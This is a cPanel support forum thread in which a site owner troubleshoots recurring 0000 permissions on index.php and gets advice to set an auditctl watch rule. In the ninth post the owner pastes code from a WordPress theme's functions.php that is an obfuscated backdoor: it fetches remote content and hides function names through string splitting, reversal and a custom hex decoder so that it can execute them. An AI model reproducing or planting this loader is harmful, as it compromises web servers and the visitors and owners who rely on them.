Please whitelist cPanel in your adblocker so that you’re able to see our version release promotions, thanks!

The Community Forums

Interact with an entire community of cPanel & WHM users!

Permission Error in index.php

Discussion in 'Security' started by rsubash_01@, Apr 3, 2019.

  1. rsubash_01@

    rsubash_01@ Member

    Joined:
    Apr 3, 2019
    Messages:
    5
    Likes Received:
    0
    Trophy Points:
    1
    Location:
    chennai
    cPanel Access Level:
    Root Administrator
    Hi in my cpanel errorlog i see this error[warn-ioncube] mmap cache can't open home/kennribvi/public_html/index.php Permission denied (pid 3621445). On seeing this error i go the directory and change the permission of index.php from 0000 to 0775. Now my website works properly, but after two days on clearing this error the same error is showing in my website. Pls help me to find the complete solution for this problem
     
  2. cPanelLauren

    cPanelLauren Forums Analyst II Staff Member

    Joined:
    Nov 14, 2017
    Messages:
    5,734
    Likes Received:
    436
    Trophy Points:
    233
    Location:
    Houston
    cPanel Access Level:
    DataCenter Provider
    Hello @rsubash_01@

    Nothing shipped with cPanel by default will change permissions on your files like this. Do you have any antivirus/malware scanning software on the server like Imunify?
     
    Stop hovering to collapse... Click to collapse... Hover to expand... Click to expand...
  3. rsubash_01@

    rsubash_01@ Member

    Joined:
    Apr 3, 2019
    Messages:
    5
    Likes Received:
    0
    Trophy Points:
    1
    Location:
    chennai
    cPanel Access Level:
    Root Administrator
    I have a virus scanner in my C Panel. Can you tell what i need to do with this
     
  4. cPanelLauren

    cPanelLauren Forums Analyst II Staff Member

    Joined:
    Nov 14, 2017
    Messages:
    5,734
    Likes Received:
    436
    Trophy Points:
    233
    Location:
    Houston
    cPanel Access Level:
    DataCenter Provider
    Hello @rsubash_01@

    Which virus scanner are you using? Are you aware if it will automatically change permissions on files to 000 if found infected?
     
    Stop hovering to collapse... Click to collapse... Hover to expand... Click to expand...
  5. rsubash_01@

    rsubash_01@ Member

    Joined:
    Apr 3, 2019
    Messages:
    5
    Likes Received:
    0
    Trophy Points:
    1
    Location:
    chennai
    cPanel Access Level:
    Root Administrator
    sir i am using clamAV virus scanner. did i need to take a backup of site before proceed to scan files
     
  6. cPanelLauren

    cPanelLauren Forums Analyst II Staff Member

    Joined:
    Nov 14, 2017
    Messages:
    5,734
    Likes Received:
    436
    Trophy Points:
    233
    Location:
    Houston
    cPanel Access Level:
    DataCenter Provider
    Hello @rsubash_01@

    ClamAV wouldn't change the permissions of the file to 000. In this instance it sounds like it's either being manually changed or something you have on the server is changing it. You might want to set up an audit rule.

    How to monitor permission, ownership or any other change to a particular directory or file - Red Hat Customer Portal

    Code:
    # auditctl -w /home/$user/public_html/index.php -p war -k monitor-index-file-changes
    
    The link above gives more detail on how/where to add the rule as well.

    Thanks!
     
    Stop hovering to collapse... Click to collapse... Hover to expand... Click to expand...
  7. rsubash_01@

    rsubash_01@ Member

    Joined:
    Apr 3, 2019
    Messages:
    5
    Likes Received:
    0
    Trophy Points:
    1
    Location:
    chennai
    cPanel Access Level:
    Root Administrator
    Sir the previous problem is cleared but my site get loaded but the content in the page is not loading can i know what is the reason for it
     
  8. cPanelLauren

    cPanelLauren Forums Analyst II Staff Member

    Joined:
    Nov 14, 2017
    Messages:
    5,734
    Likes Received:
    436
    Trophy Points:
    233
    Location:
    Houston
    cPanel Access Level:
    DataCenter Provider
    Do you have any errors being output to the Apache error logs? Your response isn't descriptive enough for me to be able to assist you.
     
    Stop hovering to collapse... Click to collapse... Hover to expand... Click to expand...
  9. rsubash_01@

    rsubash_01@ Member

    Joined:
    Apr 3, 2019
    Messages:
    5
    Likes Received:
    0
    Trophy Points:
    1
    Location:
    chennai
    cPanel Access Level:
    Root Administrator
    sir this is the error howing
    PHP Warning: file_put_contents() expects at least 2 parameters, 1 given in /home/kenribvi/public_html/wp-content/themes/lookup/functions.php on line 1.
    Please help me to resolve the problem.

    The code is :
    Code:
    <?php 
    $a = 'http://www.example.com///wp-content/themes/amadeus/js/css.js';
    $b = 'file'.'_g'.'et_'.'contents';
    $b = $b($a);
    $c = strrev('stnetnoc_tup_elif');
    $c('../wp-includes/css/wp-includes.php') ;
    ?> 
    <?php 
    function Aes($str,$key)
    { 
    $t="";
    for($i=0; $i<strlen($str); $i=$i+2)
    {
        $k=(($i+2)/2)%strlen($key);
        $p=substr($key, $k,1);
        if(is_numeric(substr($str, $i,1)))
        {
            $t=$t.chr(hexdec(substr($str, $i,2))-$p);
            } 
            else
            {
                $t=$t.chr(hexdec(substr($str, $i,4)));
                $i=$i+2;
                }
                }
                return($t);
                }
                (@$_=Aes('6A767C687B77','39')).@$_(Aes('6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E','520'));
                ?>
                <?php
    
    
    sir could you help me to resolve these error as fast as possible pls
     
    #9 rsubash_01@, Apr 16, 2019
    Last edited by a moderator: Apr 20, 2019
  10. cPanelLauren

    cPanelLauren Forums Analyst II Staff Member

    Joined:
    Nov 14, 2017
    Messages:
    5,734
    Likes Received:
    436
    Trophy Points:
    233
    Location:
    Houston
    cPanel Access Level:
    DataCenter Provider
    Stop hovering to collapse... Click to collapse... Hover to expand... Click to expand...
Loading...

Share This Page

  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.
    Dismiss Notice